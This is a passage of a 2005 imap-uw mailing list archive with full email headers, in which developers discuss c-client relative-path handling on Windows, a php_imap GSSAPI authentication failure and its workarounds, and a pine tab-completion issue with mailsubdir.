ESMTP id j5K9pTRO023410 for ; Mon, 20 Jun 2005 02:51:29 -0700 Received: from offerans.imn.nl (offerans.imn.nl [194.151.178.77]) by mxe1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5K9pP0c014057 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 20 Jun 2005 02:51:27 -0700 Received: from imnla308 ([217.166.228.189]) (authenticated bits=0) by offerans.imn.nl (8.12.7/8.12.7/SuSE Linux 0.6 IBM) with ESMTP id j5K9pJvv008646; Mon, 20 Jun 2005 11:51:20 +0200 Message-ID: <000c01c5757d$9d3c1750$1601a8c0@imnla308> From: "Ties Molenhuis" To: "Mark Crispin" References: <013301c57252$1a27fc40$1601a8c0@imnla308> Subject: Re: [Imap-uw] detecting a relative path Date: Mon, 20 Jun 2005 11:51:18 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1437 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_MSMAIL_PRI 0, __HAS_X_MAILER 0, __HAS_X_PRIORITY 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu > If you're referring to the code in mailboxfile() in env_nt.c, you are=20 > correct. However, this is more of a comment issue than a code error; = the=20 > code is arguably correct as-is. A comment issue? When I open a mailbox file with a relative pathname, = the function mail_open will sneaky prefix the given path with a "home = directory". The result: I can't open the mailbox because imap has = changed the path. But when I use a relative pathname prefixed with a = drive letter, e.g. d:tmp, the path is not changed and the function = mail_open opens the mailbox. I can't consider this as a comment issue. The major question in this is: why is imap changing a given path? The = minor: imap does this not for all give relative paths. Regards, Ties Molenhuis _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon Jun 20 18:41:15 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 20 Jun 2005 18:41:15 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j5L1fEoc024494 for ; Mon, 20 Jun 2005 18:41:15 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5L1fDCT012112 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 20 Jun 2005 18:41:14 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5L1exho031199; Mon, 20 Jun 2005 18:40:59 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5L1ewT6031185 for ; Mon, 20 Jun 2005 18:40:58 -0700 Received: from mxout7.cac.washington.edu (mxout7.cac.washington.edu [140.142.32.178]) by mxi3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5L1ev6B028465 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Mon, 20 Jun 2005 18:40:57 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout7.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5L1euiG022527 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 20 Jun 2005 18:40:57 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5L1eub0028693 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Mon, 20 Jun 2005 18:40:56 -0700 Date: Mon, 20 Jun 2005 18:40:57 -0700 (Pacific Daylight Time) From: Mark Crispin To: Ties Molenhuis Subject: Re: [Imap-uw] detecting a relative path In-Reply-To: <000c01c5757d$9d3c1750$1601a8c0@imnla308> Message-ID: References: <013301c57252$1a27fc40$1601a8c0@imnla308> <000c01c5757d$9d3c1750$1601a8c0@imnla308> Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu The design of c-client is that all names are relative to the user's home directory. When a different device is used, there is no home directory. imap-2005 will force all device-name specifications to be rooted; that is, c:foo will be treated as c:\foo. On Mon, 20 Jun 2005, Ties Molenhuis wrote: >> If you're referring to the code in mailboxfile() in env_nt.c, you are >> correct. However, this is more of a comment issue than a code error; the >> code is arguably correct as-is. > > A comment issue? When I open a mailbox file with a relative pathname, > the function mail_open will sneaky prefix the given path with a "home > directory". The result: I can't open the mailbox because imap has > changed the path. But when I use a relative pathname prefixed with a > drive letter, e.g. d:tmp, the path is not changed and the function > mail_open opens the mailbox. I can't consider this as a comment issue. > > The major question in this is: why is imap changing a given path? The > minor: imap does this not for all give relative paths. > > Regards, > Ties Molenhuis > > > -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon Jun 27 09:34:58 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 27 Jun 2005 09:34:58 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j5RGYwrX031015 for ; Mon, 27 Jun 2005 09:34:58 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5RGYvpB021029 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 27 Jun 2005 09:34:57 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5RGYZGV018430; Mon, 27 Jun 2005 09:34:35 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5RGYYEv018414 for ; Mon, 27 Jun 2005 09:34:34 -0700 Received: from brinza.cc.columbia.edu (brinza.cc.columbia.edu [128.59.29.8]) by mxe4.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5RGYXux023731 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 27 Jun 2005 09:34:33 -0700 Received: from [128.59.31.51] (oslo.cc.columbia.edu [128.59.31.51]) (user=ed2019 mech=PLAIN bits=0) by brinza.cc.columbia.edu (8.13.0/8.13.0) with ESMTP id j5RGYUgS029455 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT) for ; Mon, 27 Jun 2005 12:34:32 -0400 (EDT) Message-ID: <42C02A96.9010607@columbia.edu> Date: Mon, 27 Jun 2005 12:34:30 -0400 From: Erik User-Agent: Debian Thunderbird 1.0.2 (X11/20050602) X-Accept-Language: en-us, en MIME-Version: 1.0 To: imap-uw@u.washington.edu X-Enigmail-Version: 0.91.0.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-No-Spam-Score: Local X-Scanned-By: MIMEDefang 2.48 on 128.59.29.8 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Subject: [Imap-uw] php_imap , c-client , GSSAPI bug X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hi- I'm affected by a bug which concerns a few different pieces of software, namely, php4 , php_imap , the c-client , and the cyrus imap server. A detailed bug report is available here on RedHat's website: https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=57522 Basically: php_imap uses the c-client library to do imap stuff. When the webserver is not doing authentication, php's imap_open call fails. It calls c-client to try and talk to the cyrus server, but c-client tries to authenticate with GSSAPI (which fails). Has anyone encountered this bug? A suggested workaround is to disable GSSAPI on the cyrus server, but we need it for other clients (like pine). thanks, Erik Columbia University AcIS _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon Jun 27 09:59:49 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 27 Jun 2005 09:59:49 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j5RGxn1l032501 for ; Mon, 27 Jun 2005 09:59:49 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5RGxm8c019783 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 27 Jun 2005 09:59:48 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5RGxLt5021945; Mon, 27 Jun 2005 09:59:21 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5RGxK9L021931 for ; Mon, 27 Jun 2005 09:59:20 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxi2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5RGxJFk015245 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Mon, 27 Jun 2005 09:59:19 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5RGxIrD011771 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 27 Jun 2005 09:59:19 -0700 Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5RGxGj3004885 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Mon, 27 Jun 2005 09:59:18 -0700 Date: Mon, 27 Jun 2005 09:59:16 -0700 (PDT) From: Mark Crispin To: Erik Subject: Re: [Imap-uw] php_imap , c-client , GSSAPI bug In-Reply-To: <42C02A96.9010607@columbia.edu> Message-ID: References: <42C02A96.9010607@columbia.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Scanned-By: MIMEDefang 2.49 on 140.142.33.12 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hi - Thanks for calling my attention to this. I agree with Julio Sanchez Fernandez's comment. That is, the correct fix to address this problem is to locate the module in IMP that glues IMP to c-client and insert the following line: mail_parameters (NIL,DISABLE_AUTHENTICATOR,"GSSAPI"); This glue module would be a C source file in the IMP sources where something like: #include "c-client/linkage.c" is located (that is, including linkage.c from the c-client library). Insert that mail_parameters() call right after the #include. If you can't find a reference to linkage.c anywhere, it's possible that IMP does manual linkage (it shouldn't, but some people don't listen to me). If so, then there is probably a line that reads: auth_link (&auth_gss); Delete that line. You should report this issue to the IMP maintainers. This isn't a Cyrus issue; nor is it a UW c-client issue. Both Cyrus and c-client are working as intended. The problem is that IMP doesn't know how to acquire Kerberos credentials so it needs to disable Kerberos. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Tue Jun 28 07:14:03 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 28 Jun 2005 07:14:03 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j5SEE3vp031782 for ; Tue, 28 Jun 2005 07:14:03 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5SEE2Zb014138 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 28 Jun 2005 07:14:02 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5SEDd63020945; Tue, 28 Jun 2005 07:13:39 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5SEDbk0020937 for ; Tue, 28 Jun 2005 07:13:37 -0700 Received: from smtp1.powertech.no (smtp1.powertech.no [195.159.0.145]) by mxe1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5SEDa6b009777 for ; Tue, 28 Jun 2005 07:13:37 -0700 Received: from [195.159.148.126] (dhcp7.xu.nordahl.net [195.159.148.126]) by smtp1.powertech.no (Postfix) with ESMTP id A2C7981DB for ; Tue, 28 Jun 2005 16:13:35 +0200 (CEST) Mime-Version: 1.0 (Apple Message framework v730) Content-Transfer-Encoding: 7bit Message-Id: <825491B4-7966-4DDC-B069-2773BA97023E@nordahl.net> Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed To: imap-uw@u.washington.edu From: Frode Nordahl Date: Tue, 28 Jun 2005 16:13:47 +0200 X-Mailer: Apple Mail (2.730) X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __MIME_VERSION_APPLEMAIL 0, __MSGID_APPLEMAIL 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT_APPLEMAIL 0, __X_MAILER_APPLEMAIL 0' Subject: [Imap-uw] pine, mailsubdir and tab-completion X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hello, I have recently moved some users to a server where we use the mailsubdir feature of c-client. When this is in use, tab-completion of folder names does not work when saving messages. Hitting tab once makes nothing happen. Hitting tab twice makes the list of matching folders appear, but part of the foldername is missing (the part entered before hitting tab twice). We are using pine 4.63 on FreeBSD 5.4-RELEASE I have tried the not approved path of using /etc/c-client.cf, as well ass modifying env_unix.c as described in docs/CONFIG, example 2. In c-client.cf we have this line: set mail-subdirectory mail In env_unix.c we have this line: static char *mailsubdir = "mail"; /* mail subdirectory name */ (Not both at the same time of course) Both yields the same result. Without the mailsubdir setting, everything works as advertised. Frode Nordahl frode@nordahl.net _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Tue Jun 28 09:13:50 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 28 Jun 2005 09:13:50 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j5SGDnQR005884 for ; Tue, 28 Jun 2005 09:13:49 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5SGDmqs022834 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 28 Jun 2005 09:13:48 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5SGDYVw013601; Tue, 28 Jun 2005 09:13:34 -0700 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5SGDWR2013582 for ; Tue, 28 Jun 2005 09:13:32 -0700 Received: from jalapeno.cc.columbia.edu (jalapeno.cc.columbia.edu [128.59.29.5]) by mxe3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5SGDVnl031116 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 28 Jun 2005 09:13:32 -0700 Received: from [128.59.31.51] (oslo.cc.columbia.edu [128.59.31.51]) (user=ed2019 mech=PLAIN bits=0) by jalapeno.cc.columbia.edu (8.13.0/8.13.0) with ESMTP id j5SGDSRc029166 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Tue, 28 Jun 2005 12:13:29 -0400 (EDT) Message-ID: <42C17728.5040001@columbia.edu> Date: Tue, 28 Jun 2005 12:13:28 -0400 From: Erik User-Agent: Debian Thunderbird 1.0.2 (X11/20050602) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Mark Crispin Subject: Re: [Imap-uw] php_imap , c-client , GSSAPI bug References: <42C02A96.9010607@columbia.edu> In-Reply-To: X-Enigmail-Version: 0.91.0.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-No-Spam-Score: Local X-Scanned-By: MIMEDefang 2.48 on 128.59.29.5 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hi Mark- Thanks for your response. To clarify, I'm not using IMP , I'm trying to write my own PHP scripts to talk to a cyrus server. The php imap extension (see docs here: http://us3.php.net/manual/en/ref.imap.php ) uses your c-client. So, this could be a bug in the php imap code, or rather, the lack of an option for disabling GSSAPI. I have filed a bug report with PHP here: http://bugs.php.net/bug.php?id=33500&thanks=6 One question I have is, why does the process default to using GSSAPI when a username and pw is provided? And / or, if it wants to try using GSSAPI, but that doesn't work, why doesn't it continue and try the plain method? thanks, Erik Mark Crispin wrote: > Hi - > > Thanks for calling my attention to this. I agree with Julio Sanchez > Fernandez's comment. That is, the correct fix to address this problem > is to locate the module in IMP that glues IMP to c-client and insert the > following line: > mail_parameters (NIL,DISABLE_AUTHENTICATOR,"GSSAPI"); > > This glue module would be a C source file in the IMP sources where > something like: > > #include "c-client/linkage.c" > > is located (that is, including linkage.c from the c-client library). > Insert that mail_parameters() call right after the #include. > > If you can't find a reference to linkage.c anywhere, it's possible that > IMP does manual linkage (it shouldn't, but some people don't listen to > me). If so, then there is probably a line that reads: > auth_link (&auth_gss); > Delete that line. > > You should report this issue to the IMP maintainers. This isn't a Cyrus > issue; nor is it a UW c-client issue. Both Cyrus and c-client are > working as intended. The problem is that IMP doesn't know how to > acquire Kerberos credentials so it needs to disable Kerberos. > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. > Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Tue Jun 28 09:19:27 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 28 Jun 2005 09:19:27 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j5SGJQiS006141 for ; Tue, 28 Jun 2005 09:19:26 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5SGJPmw023215 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 28 Jun 2005 09:19:26 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5SGJIoP014338; Tue, 28 Jun 2005 09:19:18 -0700 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5SGFbZi013870 for ; Tue, 28 Jun 2005 09:15:37 -0700 Received: from jalapeno.cc.columbia.edu (jalapeno.cc.columbia.edu [128.59.29.5]) by mxe2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5SGFand025854 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 28 Jun 2005 09:15:37 -0700 Received: from [128.59.31.51] (oslo.cc.columbia.edu [128.59.31.51]) (user=ed2019 mech=PLAIN bits=0) by jalapeno.cc.columbia.edu (8.13.0/8.13.0) with ESMTP id j5SGFTqM029576 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Tue, 28 Jun 2005 12:15:29 -0400 (EDT) Message-ID: <42C177A1.4000109@columbia.edu> Date: Tue, 28 Jun 2005 12:15:29 -0400 From: Erik User-Agent: Debian Thunderbird 1.0.2 (X11/20050602) X-Accept-Language: en-us, en MIME-Version: 1.0 To: imap-uw@u.washington.edu Subject: Re: [Imap-uw] php_imap , c-client , GSSAPI bug X-Enigmail-Version: 0.91.0.0 Content-Type: multipart/mixed; boundary="------------080700090004030603000502" X-No-Spam-Score: Local X-Scanned-By: MIMEDefang 2.48 on 128.59.29.5 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__BAT_BOUNDARY 0, __CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: Julio.Sanchez@stl.es X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu This is a multi-part message in MIME format. --------------080700090004030603000502 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Hi- Attached is an e-mail I received from Julio regarding his fix for the issue. Hope this might help someone else. thanks, Erik --------------080700090004030603000502 Content-Type: message/rfc822; name="Re: php_imap" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="Re: php_imap" Return-Path: Received: from alpenwurst.cc.columbia.edu ([unix socket]) by alpenwurst.cc.columbia.edu (Cyrus v2.3-alpha) with LMTPA; Tue, 28 Jun 2005 03:28:19 -0400 X-Sieve: CMU Sieve 2.3 Received: from tepin.cc.columbia.edu (tepin.cc.columbia.edu [128.59.28.169]) by alpenwurst.cc.columbia.edu (8.13.1/8.13.1) with ESMTP id j5S7SJ2n031017 for ; Tue, 28 Jun 2005 03:28:19 -0400 Received: from tierra.stl.es (tierra.stl.es [193.111.122.62]) by tepin.cc.columbia.edu (8.13.0/8.13.0) with ESMTP id j5S7SGq4007033 for ; Tue, 28 Jun 2005 03:28:17 -0400 (EDT) Received: from zurbaran.stl.es (IDENT:fLMRhnFBUVSYdwgnwElChTJ/o61a7zdC@zurbaran.stl.es [172.20.144.84]) by tierra.stl.es (8.11.6/8.11.6) with ESMTP id j5S7SBr02737 for ; Tue, 28 Jun 2005 09:28:11 +0200 Received: from [172.20.17.130] (jsanchez.stl.es [172.20.17.130]) by zurbaran.stl.es (8.11.6/8.11.6) with ESMTP id j5S7SBa10057 for ; Tue, 28 Jun 2005 09:28:11 +0200 Message-ID: <42C0FC0A.3050302@stl.es> Date: Tue, 28 Jun 2005 09:28:10 +0200 From: =?ISO-8859-1?Q?Julio_S=E1nchez_Fern=E1ndez?= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.7.8) Gecko/20050511 X-Accept-Language: es-es, es, en-us, en MIME-Version: 1.0 To: Erik Subject: Re: php_imap References: <42C02B5E.4010003@columbia.edu> In-Reply-To: <42C02B5E.4010003@columbia.edu> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0 () X-Scanned-By: MIMEDefang 2.48 on 128.59.28.169 Erik escribi=F3: >Hi- > I read your bug report regarding php_imap and the GSSAPI problem, I >think that I am having the same problem. > I was wondering if you had figured out a fix for it? Other than >hacking the c-client source that is :) > You're not going to like this... :-) Well, we do not use the scenario anymore, but we did was open=20 /usr/lib/php4/imap.so with Emacs, find the first occurrence of string=20 "GSSAPI" and change it into "GSSBPI", save it and never look back. =20 Gross, but effective... Regards, Julio --------------080700090004030603000502 Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw --------------080700090004030603000502-- From pinedev@shivax2.cac.washington.edu Tue Jun 28 09:24:40 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 28 Jun 2005 09:24:40 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j5SGOdjv006570 for ; Tue, 28 Jun 2005 09:24:39 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5SGObcR023740 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 28 Jun 2005 09:24:37 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id 